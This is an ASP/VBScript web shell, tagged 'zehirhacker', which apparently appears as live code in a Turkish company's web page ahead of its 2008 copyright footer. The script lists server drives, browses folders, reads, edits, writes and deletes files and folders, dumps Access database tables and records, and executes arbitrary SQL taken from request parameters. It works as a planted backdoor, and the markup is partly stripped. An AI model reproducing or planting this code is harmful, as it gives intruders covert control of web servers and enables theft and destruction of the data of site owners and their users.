<% end sub SELECT CASE status CASE 1 'Driver Open if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) Response.Write "" Path = Path & ":/" Response.Write "" hataKontrol CASE 2 'Normal listeleme if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) Response.Write "
" KlasorOku Response.Write "" DosyaOku Response.Write "
" Response.Write "" hataKontrol CASE 3 'File Delete objFSO.DeleteFile del hataKontrol if err<>0 then byMsg="Not File Deleted!
" else byMsg="File Deleted Successful;)
" end if Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg CASE 4 'Folder Delete objFSO.DeleteFolder del hataKontrol if err<>0 then byMsg="Not Folder Deleted!
" else byMsg="Folder Deleted Successful;)
" end if Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg CASE 5 'Dosya içeri?ini görüntüle Response.Write "
"&path&"

" Response.Write "
" KlasorOku Response.Write "" DosyaOku Response.Write "
" set f = objFSO.OpenTextFile(path,1) Response.Write "
"&Server.HTMLEncode(f.readAll)&"
" if err<>62 then hataKontrol if err.number=62 then Response.Write "":Response.End CASE 6 'Resim aç Response.Write "
zehirhacker@hotmail.com / zehirhacker@hotmail.com

" CASE 7 'database tablo listele Response.Write "Tablolar

" Set objConn = Server.CreateObject("ADODB.Connection") Set objADOX = Server.CreateObject("ADOX.Catalog") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objADOX.ActiveConnection = objConn For Each table in objADOX.Tables If table.Type = "TABLE" Then Response.Write "4 "&table.Name&"
" End If Next hataKontrol CASE 8 'database kayyt listele Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objRcs.Open table,objConn, adOpenKeyset , , adCmdText Response.Write "" for i=0 to objRcs.Fields.count-1 Response.Write "" next Response.Write "" do while not objRcs.EOF Response.Write "" for i=0 to objRcs.Fields.count-1 Response.Write "" next Response.Write "" objRcs.MoveNext loop Response.Write "
   "&objRcs.Fields(i).Name&"   
"&objRcs.Fields(i).Value&" 

" hataKontrol CASE 9 'SQL Execute Set objConn = Server.CreateObject("ADODB.Connection") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objConn.Execute strSQL ' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time hataKontrol CASE 10 'Dosya Editleme set f = objFSO.OpenTextFile(dPath,1) Response.Write "
" Response.Write "" Response.Write "" Response.Write "" Response.Write "
" Response.Write "
" hataKontrol CASE 11 'Dosya Kayyt set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false) hataKontrol saveTextFile.Write(dkayit) saveTextFile.close if err<>0 then byMsg = "Not File Edited!
" else byMsg = "File Edited Successful:)
" end if Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg CASE 12 'Dosya Arama araBul path,arama hataKontrol END SELECT Response.Write "
" sub DosyaOku Set f = objFSO.GetFolder(Path) Set fc = f.Files For Each f1 In fc dosyaAdi = f1.name num = InStrRev(dosyaAdi,".") uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num)) downStr = "ûÍ4" response.Write "" select case uzanti case "mdb" Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" M "&downStr&"
" case "asp" Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ± !"&downStr&"
" case "jpg","gif" Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ¢ "&downStr&"
" case else Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&"
" end select Next end sub sub KlasorOku Set f = objFSO.GetFolder(Path) Set fc = f.SubFolders if session("klasoroku")="" then response.Write "" session("klasoroku")="simdi yazylyyor" end if For Each f1 In fc Response.Write "4 û 1"&f1.name&"
" Next end sub function createFileName() Randomize fName_ = "" for i=1 to 10 fName_ = fName_ & int(Rnd*100) next createFileName = fName_ end function function resimYol(path_) on error resume next path_ = Replace(Replace(path_,"\","/"),"//","/") lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\")) if yaziyomu2(lpath_) then fname__ = "0"&createFileName()&"."&Right(path_,3) objFSO.CopyFile path_, lpath_&"\"&fname__ else Response.Write("Resim Açylamyyor..
Ysterseniz Download Ederek görüntüleyebilirsiniz..") end if resimYol = fname__ end function if not popup then Set fc = Nothing Set objFSO = Nothing Response.End end if %> <% Response.Write "" for each drive_ in objFSO.Drives Response.Write "" next Response.Write "" Response.Write "
Sürücüler
" Response.write ";" if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]" if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]" if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]" if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]" Response.Write "
" Response.write "H Local Path" Response.Write "

" Set fc = Nothing Set objFSO = Nothing Response.End%> ...

Ayrıntılı bİlgi için ...
 
    
 Diger    copyright 2008 © Mirata Reklam Tanıtım Organizasyon Ltd. Şti.